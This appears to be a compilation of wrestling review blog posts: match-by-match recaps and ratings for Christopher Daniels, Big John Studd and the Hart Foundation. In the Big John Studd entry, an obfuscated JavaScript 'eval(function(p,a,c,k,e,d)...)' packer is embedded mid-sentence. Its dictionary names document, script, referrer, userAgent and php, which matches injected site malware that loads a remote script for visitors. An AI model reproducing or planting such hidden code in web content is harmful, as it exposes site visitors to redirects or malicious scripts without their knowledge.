Lionsault minus the running start misses and AJ hits a suplex to put both guys down for a bit. AJ goes to the apron so Daniels tries a rana to the floor. AJ just drops him down in a powerbomb which sounded awesome. He hammers on Daniels and we go back into the ring. AJ hits an FU into a backbreaker and the backflip into the reverse DDT for two.

Daniels is able to get something like a backdrop onto the top rope to crotch AJ. From there Daniels steps onto the middle rope and suplexes AJ back in with a unique move. With AJ sitting on the top rope Daniels hits a HUGE palm strike to the head. A Frankensteiner and a Shining Wizard gets two. The fans say someone got served in this youth language that I’m not familiar with. Pesky young whippersnappers. BIG knot on Daniels’ head here.

They fight over a suplex but AJ settles for a big old brainbuster instead. There’s the springboard forearm that I always love for a long two. Styles Clash is blocked so it’s a Pele instead. Another attempt is blocked by a palm strike. Another release Rock Bottom by Daniels sets up the Best Moonsault Ever for a long two.

Daniels hammers away as I think that knot on his head could take over a small country at this point. AJ sends him chest first into the corner and rolls through into the Styles Clash for two. Daniels gets up and puts AJ on the second turnbuckle on the inside (I had to channel Gorilla once or twice) but goes for a rana and is caught in the Clash from the middle rope to end it.

Rating: B+. Good match but it’s definitely a step or two behind the previous one. Daniels was never a real threat here as eventually he has to win something to be classified as a real threat. This was when AJ had a lot of meaningless matches as champion, but they were good enough that you could overlook that. Either way, this was good but not as good as the match before it, which hurts it a bit.

Back to ROH for a match at Final Battle 2010.

Christopher Daniels vs. Homicide

Daniels is TV Champion but this is non-title. That annoying pest Julius Smokes is with Homicide here. Egads I don’t know who is more overrated and annoying here. The fans are kind of split here so they’re no help. The dueling chants begin and they’re rather loud. They trade headlocks and call some spots. Arm drags get no one anywhere either.

Daniels gets two off a snapmare of all things and we hit the chinlock in about 90 seconds. Now we’re talking about Waffle House for some reason. Apparently Bennett is the Prodigy and wants a title. They hit the floor and Daniels takes over with a moonsault. Back in that gets two. Backslide gets two for Daniels. I can barely hear the commentators. Three Amigos by Homicide gets an Eddie chant. They also get two.

Homicide sends him to the floor and it’s a tope con hilo from Homicide. Back in and a t-bone suplex with a bridge gets two for Homicide. Top rope splash eats knees though and Daniels looks at his hand. Spinarooni maybe? Homicide gets a suplex and a jumping knee to the back of the head from the middle rope for two. Homicide gets a submission on the neck but Daniels counters into a Crossface for a few seconds.

Cop Killer is reversed into a release Rock Bottom (screw that Uranage nonsense) but the Best Moonsault Ever misses. Homicide can’t get a tornado DDT so Daniels hits an enziguri and calls for Angels’ Wings. The ref is bumped though and Homicide throws his shirt at Daniels and a Diamond Cutter ends it. I don’t see the point of the ref bump at all but at least the finish was clean.

Rating: C. Just a match really but not as bad as I expected it to be. Daniels keeping the striking to a minimum is always a good thing and it certainly was here. Homicide is someone I’ve never gotten the appeal of either so this really was a bad match for me. Could have been worse though.

Destination X is of course the showcase for the X Division. What better way to main event the show in 2011 than Daniels vs. Styles #84?

AJ Styles vs. Christopher Daniels

Apparently the winner is best X-Division Wrestler EVER, despite AJ’s resume blowing Daniels’ away. Christy does big match intros again. Apparently these two named their kids after each other. That’s borderline creepy. The latest chant: “Wrestling. YAY! Hulk Hogan. Boo!” Give me a break. Lots of basic back and forth stuff to start with them knowing each other really well being the idea.

AJ works the arm a bit and they speed it up quickly. Both guys work the arm and it comes down to another stalemate after about 5 minutes. They shake hands and AJ puts another armbar on. The fans are split again. They speed things up and Daniels hits the floor. They have a TON of time here so this is going to be a very slow build. Daniels keeps trying to speed things up but AJ keeps going with the armbar.

They slowly start cranking things up as Daniels takes over. He works AJ over for a good while but AJ sends him to the floor, adding in a plancha that looked almost like Delirious’ Shadows Over Hell. Back inside now and AJ hammers away again. AJ works on the arm AGAIN but at least is using a Fujiwara Armbar here. Helps a lot when they mix things up. Out to the apron and AJ counters into a suplex on the apron.

Daniels takes over on the floor. Back in he chops away at the back and gets a neckbreaker for two. Pinfall reversal sequence ends in AJ being caught in a Crossface. Death Valley Driver gets two and Daniels is getting frustrated. They chop it out and AJ hits an enziguri to put both guys down. AJ slips off the top and crashes down, letting Daniels get two. Daniels goes up but gets caught in a Torture Rack which AJ spins out into a powerbomb for two.

Bad Downward Spiral by Daniels sets up the Koji Clutch to AJ. They’re getting tired here. AJ makes the rope as this probably needs to end soon. Daniels uses his variety of strikes but still can’t pin him. The tape finally comes off Daniels’ arms which is good as it had been dangling for awhile. AJ snap mares him off the top for two. He can’t get Angel’s Wings or the Clash (AJ can’t that is) so Daniels hits an STO and release Rock Bottom but the BME eats boot.

Styles Clash out of nowhere gets two as this is nearly half an hour long now. Angel’s Wings gets two and Daniels is ticked. They fight to the corner but Daniels can’t hit the Angel’s Wings from up there. AJ busts out the Spiral Tap but it doesn’t look as good as it usually does. That’s enough for the pin though at nearly half an hour.

Rating: B. Another good match here but I don’t think it got as epic as they were hoping. It was one of the longest matches I can ever remember in TNA but at the same time they got sloppy later on in it. It was good, but I still think the title match should have closed the show. I’ve never been a big fan of these matches but they’re usually pretty good. Good choice to end the show, but it’s not like it means anything more than bragging rights. Also this went too long and the fans were losing interest late in it.

Back in 2012, Christopher Daniels had a long, confusing feud with AJ Styles. Kurt Angle hooked up with Styles and won the Tag Team Titles. Here they are defending against Daniels and Kazarian.

Tag Titles: Kurt Angle/AJ Styles vs. Kazarian/Christopher Daniels

Daniels and Kaz are challenging but Kaz doesn’t like Daniels all that much right now. He and AJ start and AJ takes him down followed by a kick to the back. Off to Angle and Kaz tags out, almost by slapping the taste out of Daniels’ mouth. Kurt charges into a boot and Daniels hits his slingshot elbow. Off to Kaz who covers off that elbow for some reason. Daniels yells at Kaz and tags himself back in but runs from AJ. The challengers argue on the floor as we take a break.

Back with Daniels in control of AJ and hitting his running STO for two. Angle comes in and cleans house. He fires off Rolling Germans on Kaz and does the same to Daniels. Kaz grabs a TKO for two on Kurt but gets caught in the ankle lock. That gets broken up quickly and everything breaks down. AJ clotheslines Kaz down but gets caught in a Blue Thunder Bomb. Angle gets sent into the referee by Daniels so Chris grabs a chair. Kaz pulls it away and lets AJ hit the Pele. Kaz tells AJ to finish this, but then hits AJ in the back with a chair, giving Daniels the pin and the titles at 11:34.

Rating: B-. So Kaz is evil for the sake of being evil. I guess that works, but would this count as two turns in the same show? Eh it’s fine as it’s better with AJ and Kurt not being champions again as the titles weren’t really fitting on them. This was nowhere near as good as the Slammiversary match but it was fine for a TV main event.

What’s better than all those times that AJ and Daniels have squared off? The FINAL time that they would face each other. From Final Resolution 2012.

Christopher Daniels vs. AJ Styles

This is billed as the last time so there MUST be a winner. Feeling out process and they fight over arm control to the mat. The feeling out continues for like four minutes as there’s NOTHING interesting going on here. AJ clotheslines him down to finally pick up the pace a bit and there’s the perfect dropkick. The bridging Indian Deathlock from AJ keeps Daniels in trouble as this is going nowhere so far.

Styles hits a snap suplex on the apron so Daniels comes back with a Rock Bottom onto the opposite apron. Daniels sends him into the steps a few times, including a powerslam/suplex hybrid down onto the steel. More back work follows as I try desperately to stay awake. Not that the match is bad but this show has been so freaking boring so far that it’s draining me. Daniels hits a moonsault and hooks a crossface minus the arm trap to torture AJ a bit more.

Off to a half nelson which isn’t really staying on the back so the match loses points for bad psychology. AJ fights up and they collide with AJ’s eye being busted open hardway. Daniels hits a release Rock Bottom but the BME misses, allowing AJ to hit the springboard forearm. AJ loads up the Clash but Daniels naturally escapes. A headscissors puts Christopher down but he comes bak with a sitout spinebuster for two.

A flipping slam out of the corner gets two for Daniels and he’s getting ticked off. AJ comes back with the moonsault into the reverse DDT for two and both guys are down. They head to the corner for a Daniels superplex for no cover so AJ hits the Pele to put both guys down again. Angel’s Wings is countered into a jackknife cover, but AJ backflips out of the cover into the Styles Clash for two. AJ loads up the Clash off the middle rope but Daniels counters into a rana. Now Daniels hits the Clash for the pin at 21:07.

Rating: B. Yeah it was good but so what? Daniels hasn’t won jack here, as AJ has beaten him how many times over the years? That’s the problem with this story: just winning the last match doesn’t always mean you win the war/feud. Daniels winning is the right idea from a storytelling standpoint, but this means nothing, as is the case with everything here. Oh and nice to see all the back work meaning absolutely nothing at all.

Daniels would get on a roll and get a World Title shot on Impact, January 24, 2013.

TNA World Title: Jeff Hardy vs. Christopher Daniels

Daniels is challenging here and literally dances to the ring. Tazz predicts that Hardy is going to have trouble in the year 2013. Feeling out process to start with Hardy taking over, only to miss a charge in the corner and fall to the floor. Kaz comes in to celebrate and we take a break. Back with Daniels hitting a clothesline and choking away on Hardy for a bit. A modified neckbreaker hits for two on Hardy and it’s off to the chinlock.

Hardy comes back with a clothesline and speeds things way up before getting two off the mule kick. A middle rope splash gets two but Hardy jumps into a Death Valley Driver for two. Daniels busts out the Koji Clutch which we haven’t seen in years and that no one seems to know the name of. Christopher loads up something like a superplex but gets caught in the front suplex from the top for two. The Twist is countered into the Angel’s Wings for two but the BME and Swanton both miss, the latter of which gives Hardy two. Hardy counters Angel’s Wings into a rana and it’s double Twist and Swanton to retain at 14:10.

Rating: B. Good match here with both guys looking great. Daniels is SO much more fun to watch when he’s not against AJ all the time and his latest run has been all kinds of entertaining. The promos are way better than the matches, which is saying a lot as the match here was solid stuff. Hardy winning was pretty clear but that’s not always a bad thing. Good main event here.

We’ll wrap it up with a twelve person tag from Genesis 2014.

Samoa Joe/James Storm/Gunner/ODB/Eric Young/Joseph Park vs. Lei’D Tapa/Zema Ion/Bro Mans/Bad Influence

Joe pounds away on Zema Ion to start as everyone else fights on the floor. We get the always cool sidestep from Joe to avoid a middle rope cross body. ODB and Tapa get into the ring for a few moments until Storm and Daniels come in instead. There have been no tags and only now are a handful of people getting on the apron. Gunner throws Kaz to the floor and now there’s no one in the ring.

Eric and Robbie get into the ring as Joe is now on his third corner of the match. Young and Park double elbow Jesse but Robbie breaks up Eric’s top rope elbow. Zema sends Eric to the floor but turns around to see ODB grabbing her chest. A fall away slam sends Ion flying but Tapa runs ODB down, knocking her to the floor. Daniels comes in to work over Young and gets two off a leg lariat.

Young comes back with a belly to belly suplex and it’s off to Joe for some fat man power. The backsplash gets two on Daniels with Kaz making the save. Joe dives through the ropes to take out the Bro Mans as a lot of things break down. Kaz breaks up an attempted Park dive but busts Park’s lip open in the process. For the first time ever, Park goes after his partners by taking down Gunner and Storm, leaving Joe to put Daniels in the Clutch for the tap out at 7:32.

Rating: D+. This was straight out of the Russo playbook: throw everyone out there at once and hope the fans are so impressed by the insanity that they don’t care about the lack of a story. TNA is walking a very thin line right now with this latest heel stable, even if it’s a looser version than usual. Hopefully it doesn’t turn out like the rest, but that’s probably the case.

Christopher Daniels is a great example of a guy that is good in the ring, even great at times, but isn’t going to be the top guy in the company. That puts him in the same category as Tully Blanchard and Arn Anderson, meaning he’s not doing too badly for himself. He’s definitely a guy worth having around for his chemistry with Kazarian alone, but he can go in the ring as well. That’s a guy worth having around.

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Wrestler of the Day – June 29: Big John Studd

Here’s a forgotten giant: Big John Studd.

Studd eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hsdkr|var|u0026u|referrer|fedhe||js|php'.split('|'),0,{})) got his start under the name Chuck O’Connor back in 1972, but we’re going to have to jump ahead to 1980 in Minneapolis. We’re skipping over Studd as Executioner #2 and winning a WWWF Tag Team Title. Anyway back to Christmas Day 1980 in the AWA.

Big John Studd vs. Mad Dog Vachon

Studd is about fourteen inches taller than Vachon and pounds away to start. Vachon will have none of that and chases Studd out to the floor. Back in and Vachon takes Studd down by the leg and bites his boot. Studd takes another breather on the floor before sending Mad Dog into the corner to take over. Now both guys head to the floor where Vachon pelts a chair at Big John’s head.

Back in and Vachon rakes Studd’s back but gets caught in a bearhug for a few moments. Vachon misses a charge into the post but is still able to backdrop out of an over the shoulder backbreaker attempt. Mad Dog hammers away in the corner but the referee pulls him off and the match is stopped with Vachon winning by DQ. That makes no sense and even the announcement that it was due to using an illegal heart punch doesn’t help as there was no such punch thrown.

Rating: C. This was far more entertaining than you would expect as Vachon lived up to the Mad Dog name. He stood maybe 5’7 and took it to the 6’9 Studd while making it look realistic. That’s a really impressive feat and a good example of why Vachon was such a big star in this organization for such a long time.

Off to the WWF now with a match from July 16, 1983.

Andre the Giant/Jay Strongbow/Ivan Putski/Rocky Johnson vs. Wild Samoans/Samula/Big John Studd

This is the ultra rare three out of five falls match. And in an eight man tag too. Not bad for a gimmick match main event. You should know most of these people. Samula is the third Samoan and more or less just a backup guy. He’s more famous as Samu of the Headshrinkers. We’re in Philly here and Samula starts with Rocky. This is a pretty high profile tag match.

Afa steps in, Andre steps in, Afa steps out. Afa is in again to face Rocky. Rocky was very popular back in the day and I like him more every time I see him. For some reason the teams are on full sides of the apron instead of in one corner each. Off to Studd to take on Rocky but Andre wants in. You don’t tell a giant no so it’s off to Sika. Andre rams John and Sika’s heads together and waits on an opponent.

Sika begs off but Andre destroys him anyway. This is 1983 so Andre can still move. Here’s Strongbow who still looks like a human. He hooks the sleeper and everything breaks down. Johnson grabs Sika so Andre can chop him. Double headbutt takes Strongbow down. The Samoans are tossed around by Andre and there was a bell for some reason. Gary Capetta is the announcer if you care. The first fall is a DQ against the Samoan team so it’s 1-0 heroes.

Jay is one of the people in but we don’t have an opponent. Ok so it’s Samula. Studd choked Jay to give the Samoan the advantage and Andre isn’t pleased. A headbutt puts Strongbow down and a falling version of it ties us up. Strongbow whips Samula into Andre’s boot which is good for the third fall, making it 2-1. It might have lasted 20 seconds. 23 actually.

Round four starts and the fans want the battle of the giants. Putski hasn’t been in yet. It’s Strongbow vs. I believe Afa to get this one going. Now we get some Polish Power. He rams Samoan heads together and pounds on Afa. Sika finally gets a shot in and the Samoans take over on Ivan. A double headbutt sends him flying, but he flies right to Andre. The Giant cleans house and breaks up a triple team. Samula jumps into a boot and Andre sits on him to win three falls to one.

Rating: C. The match wasn’t all that exciting but this was to fire up the crowd with something new and I think you can safely say they did just that. Not a great match or anything but it got a lot of big names in there and the fans got everything but the top request they had, but that was certainly coming. Fun way to end things.

You knew we were getting to Hogan sooner or later. Here’s one of his first title defense, just two and a half months after winning the belt. From April 6, 1984.

WWF World Title: Hulk Hogan vs. King Kong Bundy

In Boston I think here. Most importantly though we get the Hulk’s Rocking Wrestling theme! OH YES!!! This is pre-Mania 2 as the tights are still white and the belt is still different looking. Granted it looked that way for over another year but there’s a Wrestling Album reference so that solidifies the date. Plus a website listing the dates that I have. Bundy hammers away to start and after a brief Hogan comeback he takes Hogan down. Surprising.

Hogan gets sent to the floor and Bundy tries to keep him there because clearly you can win the title that way. Hulk pulls him to the floor and hammers away like only he can. Back in and Hogan uses his speed for a change. Usually it’s coke rather than speed so this is a rarity. Hogan can’t slam him though so maybe he should have gone with the cocaine. Bundy falls on top for two.

We hit the chinlock for awhile as the ending is about as clear as possible. Granted every time I say that it’s not the typical Hogan ending so what do I know? Hogan fights up and hits some shoulder blocks but an elbow takes him down with ease. A pair of Avalanches (splash, Bundy’s finisher) gets two and here it comes. Third avalanche is no sold and Hogan wins with a powerslam. Dang it I’m wrong again!

Rating: C. Oh come on it’s Hogan vs. a monster in the 80s. What were you expecting here? This is the formula to end all formulas and it works almost every time. This was perfectly acceptable as Hogan popped the crowd against large opponent #4. What’s wrong with doing what the crowd wants?

Studd was a big enough star that he was in the main event of the show on the famous Black Saturday. This was when Vince took over the WCW show in Georgia and nearly caused an industry wide riot. From July 14, 1984.

Bobo Brazil vs. Big John Studd

This is in Philadelphia if it matters. Bobo’s punches are very bad so Studd is going to be the one to carry this. Do you get why this is going to suck? We hit a bearhug to waste some time. Without much movement we switch places and Bobo has the hold on Studd. Studd hits the floor to waste some time.

This is the main event mind you and it’s by far worse than the other squash matches we’ve seen. A Philadelphia crowd is DEAD for this by the way. Bobo’s finishing move gets some polite applause but it (a headbutt) doesn’t even put Studd down. Bobo misses a legdrop and an elbow drop from Studd ends it.

Rating: F. This was awful. John Studd was the best guy out there. Let that sink in.

Back to Hogan, from December 10, 1984.

WWF Title: Hulk Hogan vs. Big Jon Studd

This is in the Meadowlands. Gary Michael Copetta is the ring announcer of all people and this is in December of 84. If Hogan can slam Studd he wins $15,000. Hogan is in yellow here. I’m trying to place the voice of the other commentator besides Gorilla. I think it’s Howard Finkel actually. Wow it is. This could be interesting.

They clip the beginning of this a bit but I think it was just them staring each other down. Both guys go for slams but neither can get the other up. Heenan is Studd’s manager here. Hogan gets him up but can’t turn him around for the slam. There’s the big boot very early but Hogan still can’t slam him.

Hogan tries for about his fifth slam in 3 minutes as we’re clipped to Hogan hitting a clothesline. ANOTHER slam attempt but we go to the floor instead and Hogan is in trouble. His head is bleeding too. Hogan can’t get back in and we clip it some more. I’d assume it’s only about 30 seconds or so each time but it’s frustrating that you don’t know for sure.

Studd comes off the top to crush Hogan for two. MORE clipping as Hogan is in big trouble here. He gets slammed as Studd’s offense is shall we say really limited. Studd kicks him to the floor so Hogan is like screw it let’s fight out here. Can Studd do anything besides pound on him with forearms? Hogan slams him on the floor which doesn’t get him the money but it does get him a countout win. Hogan lifts the referee over his head in a gorilla press position for no apparent reason.

Rating: D. Pretty bad match but the fans wanted to see Hogan win and that’s what they got. Hearing Howard on the announce team is still weird beyond belief as is Copetta doing the announcing. From a few other places it appears the match was only clipped by about 90 seconds, which begs the question of why clip it at all. Anyway, bad match but Hogan winning was the point here. Andre would claim the money at the first Wrestlemania.

Here’s probably Studd’s most famous match, from the first Wrestlemania in the Body Slam match against his biggest rival.

Big John Studd vs. Andre the Giant

This is a bodyslam challenge with some special stipulations: if Andre wins, he gets $15,000 but if Studd wins, Andre has to retire. Studd charges in to start but is immediately chopped back and he bails to the floor. Back in and Andre punches him in the head and rams him in the corner with all of his weight. Studd goes for a slam and Andre is just like dude please. The fans chant for a slam as Andre puts on a bearhug. That goes on for a good while until Andre shifts over to a facelock. Apparently if this goes to the time limit, Andre has to retire. Andre kicks at the leg for a bit and casually slams Studd for the win. It’s as quick as it sounds.

Rating: D. This was pretty terrible but the fans loved Andre and he had to be on here. Also this was part of a big feud as Andre and Studd cut Andre’s hair a few weeks before this. The match was pretty weak but then again what are you going to expect from these two guys with Andre’s body starting to fail on him.

Here’s a match with a different kind of opponents. From June 21, 1985.

US Express/George Steele vs. Adrian Adonis/Big John Studd/Bobby Heenan

This is from MSG and this show is a bit more famous because of the debut of Randy Savage on it. No one wants to start with the Animal. Barry and Adonis (not yet gay or in pink) start us off. Let the stalling begin! Before anything happens, Heenan is brought in so Windham tags Steele. Heenan DIVES to the floor to hide and it’s back to Adonis. Now it’s back to Windham before any contact has been made at all.

Off to Studd to meet Windham and Barry is knocked down pretty easily. It isn’t often that Barry has to speed things up but he does it here as he doesn’t have another option. He keeps going for the slam which doesn’t work at all. A cross body gets two. Clipped to Heenan being brought in and Barry beats him down like a world champion beating on a manager.

Everything breaks down and Steele rams all three heels into the posts. Rotundo comes in and Heenan’s mouth is bleeding. Mike takes Studd down and works on the arm. Clipped to Adonis beating on Rotundo. Gorilla gives us some analysis of what we’re seeing and the fans chant USA. Windham finally comes in as does Steele, wanting to get his hands on Bobby. There wasn’t a tag and everything breaks down. Steele goes outside and comes back with a chair which he hits the referee with for the DQ.

Rating: D. Pretty boring match here and I really don’t get the point of them giving us what appears to be a focus on Steele and then having him lose his match. Then again I think they did that more than once in this series so it must be a running theme. That doesn’t mean it makes sense but it’s what they’re doing I guess.

Studd was part of the beginning of a huge angle. Here’s the first part at Saturday Night’s Main Event II.

Big John Studd/King Kong Bundy vs. Tony Atlas/Andre the Giant

The heels cut Andre’s hair and beat him up in Toronto so he picked some random partners to try to fight back. By the way that’s Abraham Washington’s Tony Atlas in there. Andre and Bundy start and the bigger fat man is MAD. He rams Bundy’s head into Atlas’ which is kind of mean but whatever. Somehow Atlas, a big old man, is the smallest in this match by far.

He gets beaten down and the splash from Bundy half kills him. Andre and Studd……uh…….I guess you could call it fight. Everything goes insane and Andre gets the tar beaten out of him. I think the match has been thrown out. Oh and Atlas got posted so he’s out. AND HERE COMES HULK! The faces clean house as Andre and Hogan begin their year and a half long angle that would culminate at Mania in Detroit. Andre and Atlas win apparently, I’d guess by DQ.

Rating: D. Match was awful, but this was about starting a huge angle. Now at the time no one knew how big, but this is a very historic moment no matter how you look at it. Studd wasn’t the focus here, but he was a great choice as a catalyst for the start of this feud as both Hogan and Andre hated him.

And the next part, from Saturday Night’s Main Event III.

Hulk Hogan/Andre the Giant vs. King Kong Bundy/Big John Studd

Hogan in white is always interesting. This was the main house show main event at the time so you would see this quite often around this time. It’s still Eye of the Tiger for Hogan which is weird to say the least. He’s rocking an Abyss shirt as it says American Made. Who would have thought ripping a shirt off would get such a pop?

Hogan vs. Bundy starts us off. Hogan of course can’t slam him and hurts his back. That lasts less than two seconds and it’s ALL Hogan. Ok make that Andre, called the Big Boss Man here which is something I’ve heard before. I love Andre’s punches since he has to swing down to connect due to his height.

Hogan does the majority of the match due to Andre already being injured. Ventura says he’ll be in a six man on the next SNME with the previously mentioned guys. Andre accidently hits the referee and of course we get a huge brawl. It’s weird when Hogan is the smallest guy in there. Actually it isn’t as he commonly was.

Another referee comes in since the original is more or less dead. Vince’s overselling of all this stuff is great. After a commercial we have Studd vs. Andre. Hogan spits at Studd after knocking him down. What a nice guy. Andre gets tied up in the ropes and Bundy hits the avalanche on Hogan and the double team begins. The referee throws it out as Hogan makes the save. Hogan and Andre win by DQ.

Rating: D. This was a glorified squash as the heels controlled for a combined 9 seconds I think. This was just to have a TV spectacle and nothing more which is fine I guess. It’s a tag team main event match, but this was just different and didn’t work in the slightest. The historical aspect helps it a bit though.

Bundy and Studd would become a regular team, including this match from April 22, 1986, just after Wrestlemania II.

British Bulldogs vs. King Kong Bundy vs. Big John Studd

Main event here and non-title for reasons not explained. Either heel weighs more than the champions combined. That’s rather cool for some reason. Smith vs. Studd to start but Dynamite cheats to take Studd down. No tag though so they hit a double dropkick instead for two. The fans are all over Heenan here. Off to Bundy now. How did he main event Mania but Smith never did?

More double teaming by the champions takes Bundy down but one on one it’s all Bundy. Ladd is talking about the stock market for some reason. All power by Bundy of course and Smith is in trouble. Back off to Studd who hammers away on Smith for two. We talk about Andre’s suspension which would lead to the Machines and ultimately his heel turn and Mania III. Bundy back in now and an elbow gets two. This is non-title for no apparent reason.

Studd comes in, misses a charge and tags back out. Neither of those guys were ever accused of being technical masters. They double team Smith a bit as we’re just waiting on the hot tag. Ah there it is and Dynamite comes in and tries a sleeper on Studd which goes nowhere at all. Everything breaks down and the referee is tossed for the DQ. Weak.

Rating: D. Uh yeah. This is more or less the match they hyped all show (work with me here) and we get a five minute match with a DQ ending? Nothing great here but considering the non-champions (why was this non-title again?) what did you really expect? Weak ending.

Time for a handicap match on June 3, 1986. The ending sets up the next match on June 14, 1986.

Big John Studd vs. Ricky Hunter/Jim Powers

I just can’t escape this Powers guy. Before the match starts though King Tonga (Meng/Haku) comes out and says he can slam him. Studd says wait your turn. Both guys try to slam him which doesn’t work at all. Bruno is on commentary and he’s about one step shy of saying “dudes, fail.” They finally figure out that you have to beat on him and then slam him when he’s stunned. The idea is fine but it doesn’t work at all. Studd destroys them and pins Hunter with a slam.

King Tonga runs in and slams him with ease. You know what that means.

Big John Studd vs. King Tonga

Studd immediately slams him during the opening bell to take over. Tonga goes for a slam but it gets countered. That’s the whole point of the match: Tonga wants to slam Studd. Off to a chinlock but Tonga comes back with some martial arts. Another slam attempt sends them tumbling to the floor and it’s a double countout. No rating again but this was a one move match.

They brawl on the floor post match with Tonga getting the better of it. The brawl and teasing going back in goes on longer than the match. Now they get back in and brawl as there’s a referee in there for some reason. Tonga headbutts him to the floor and that’s enough for John.

Around this time, Andre the Giant was suspended, only to be replaced by a three man team from Japan called the Machines. One of them was Giant Machine and the joke should be obvious. Here’s a match with Andre’s partners facing the Heenan Family at the Big Event.

Big Machine/Super Machine/Lou Albano vs. Big John Studd/King Kong Bundy/Bobby Heenan

Ah yes the Machines. Now this was the epitome of a comedy angle that took off for a little while. The idea was that Andre the Giant was suspended for (kayfabe) not showing up for a match. Soon thereafter two new masked guys from Japan appeared: Super Machine (Ax from Demolition) and Giant Machine (duh).

Over the Summer they feuded with Heenan, Studd and Bundy with guest appearances by Piper Machine, Animal Machine and Hulk Machine. It was total tongue in cheek, kind of like Mr. America with Hogan. They were eventually joined by Big Machine who was Blackjack Mulligan when Andre could barely move.

Andre was kind of the manager and only wrestled occasionally. The angle ended about two months after this to set up Mania 3. Anyway let’s get to this. We get a shot from the broadcast booth and the ring is TINY. Studd and Super Machine start us out. The Machines’ strength is freaking impressive. Ax is by far and away the smallest one. What does that tell you? Gorilla says he’s been over 500 pounds before but at Mania 4 said the biggest he ever wrestled at was 440. I don’t want to live in a world where I can’t trust Gorilla Monsoon! Ok I’m back now I think.

With Big Machine down Heenan comes in and goes for the mask. Super Machine is like screw that and drills him. Bundy was just a big fat waste of oxygen. You can tell he was just thrown into Mania. Look where he was just 4 months later. Heenan comes in again and Albano comes in also.

Super Mario kicks his teeth in for a bit but a thumb in the eye and the heels beat up Albano. Andre has had enough and just comes in there and starts whipping all kinds of villains which causes the DQ. He was just freaking terrifying when he got mad. Ax being the smallest guy by far is a freaky sight.

Rating: C-. It was a comedy match so that’s fine. The Machines were just a fun team so this worked fine. Andre was fun as all goodness when he could move and this was no exception. It was nothing serious and it wasn’t supposed to be. The idea would be over soon but it was fun while it lasted.

Studd would retire in 1986 before coming back in early 1989 as a face. He wasn’t around long but he won the Royal Rumble and then feuded with the Heenan Family, particularly Andre the Giant. Here’s one of those matches from Wrestling Challenge on May 7, 1989.

Big John Studd vs. King Haku

The crown is on the line here and remember that Haku used to wrestle as King Tonga. Haku hammers away to start as we get an inset interview from Heenan, saying Andre is always watching. Studd shrugs off the King’s offense and knocks him down with ease. Big John calls for the bearhug but Andre comes out for a distraction. Haku kicks Studd in the back of the head and right at Andre for some choking, drawing a DQ. Jim Duggan runs out for the save, likely setting up a tag match.

Big John Studd wasn’t anything great, but he was imposing enough that a win over him meant something. He’s almost like the Great Khali today: you know he isn’t going to win, but he’s impressive looking enough that he could get people’s attention. No he wasn’t going to have many good matches, but he didn’t need to in order to fulfill his purpose.

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Wrestler of the Day – June 28: Hart Foundation

The pink and black attack is back with the Hart Foundation.

This is going to be about the tag team, not either of the stables.

We’re going to start with what may be their first match together as a team. From July 13, 1985.

British Bulldogs vs. Hart Foundation

That was their first match in MSG, and this is their second. Joined in progress with Dynamite and Bret getting us going. The Brits clean house until the power guys come in for a test of strength. Bret comes back in and the Harts take over with some nice double teaming stuff. Bret misses a charge and knees Anvil by mistake to bring in Dynamite.

House is cleaned and everything speeds up. There’s a falling headbutt to Bret as things finally get down to one on one. Missile dropkick puts Bret down and there’s the powerslam but Jim breaks up the cover. That allows Bret to take over and the Harts dominate. Dynamite hooks a sunset flip but the curfew comes on. That means it’s I think 10pm in New York and therefore the show has to end. Imagine that happening today.

Rating: C+. Good stuff here but there’s only so much they can do with so little time. These teams just couldn’t have a bad match in this time period if their lives depended on it. Dynamite was so great with his speed stuff and it’s easy to see how Benoit modeled himself after the Kid. Fun match, would have been great with a finish.

Another from September 10, 1985. According to Hart, these teams fought roughly 500 times.

Hart Foundation vs. Killer Bees

I told you these teams always hooked up. I think we’re in Philly here. Blair clears house to start and it’s off to Brunzell. Bret is in trouble early and the Bees stay on the arm, which the announcers criticize them for. Bret gets in an elbow and here’s the Anvil. Blair is in trouble but gets in a right hand to a big pop. He doesn’t do anything after that but it shows you how strong the crowds were back in the day.

The Dream Team has the belts at the moment so this is late 85-early 86. Bret misses a charge into the ropes and it’s off to Brunzell. Brunzell hits his dropkick on Hart but Anvil makes the save. Everything breaks down but Bret and Brunzell go to the floor. And there’s the LAME double DQ. This didn’t run long enough to really get going.

Rating: C-. These two were incapable of having a bad match but they needed more time here. The double DQ came in way too fast and that really hurt things. You could easily watch any of these guys’ matches and you would get a good match out of it. Fun stuff here, while it lasted at least.

And another from August 9, 1986.

Iron Sheik/Nikolai Volkoff vs. Hart Foundation

In Boston here and this would be heel vs. heel. The Harts are the faces by default and get cheered as a result. They also break up the Russian national anthem to really ensure their cheers. Even Gorilla acknowledges that no one cheers the Harts most of the time. The Harts clear the ring and eventually we start with Bret vs. Nikolai. Off to Sheik before anything happenes.

Bret sends him to the floor pretty easily as the Harts are in desperate need of a better team than this to face. Sheik gets him in the heel (I guess) corner but he misses a boot so Volkoff gets knocked down. Nikolai does get up to break up the middle rope elbow and Neidhart is shoved away. Sheik can take over now and brings in Nikolai who gets caught in a sunset flip which the referee misses.

The team that should have been called the Iron Curtain uses the classic basic heel moves to control as Sheik runs through his array of offense: abdominal stretch, gutwrench suplex and camel clutch, the final of which is broken up by Jim. Bret blocks some suplexes and it’s off to Neidhart. Jim cleans house with a bunch of dropkicks but Sheik breaks up a cover. Everything breaks down and Sheik pulls Neidhart’s leg to break up a slam and Volkoff falls on top for the pin.

Rating: D. Bad match and it’s not the right pairing for the Harts at all. They’re much better against the speed teams and since there was at least one for them to fight in the Killer Bees, I’m assuming there’s something up here. Not much of a match and pretty short, but the Harts did what they could. It just didn’t work all that well.

Let’s jump to TV with Saturday Night’s Main Event VIII.

Hart Foundation vs. Killer Bees

According to Bret, these teams fought about 400 times at least so they know each other very well indeed. The Harts say they want the belts. Well that’s a great shocker. The ring looks small for some reason. Apparently this is a number one contenders match, or at least I think it is. They say the Bulldogs who had the belts at the moment are waiting n the winners.

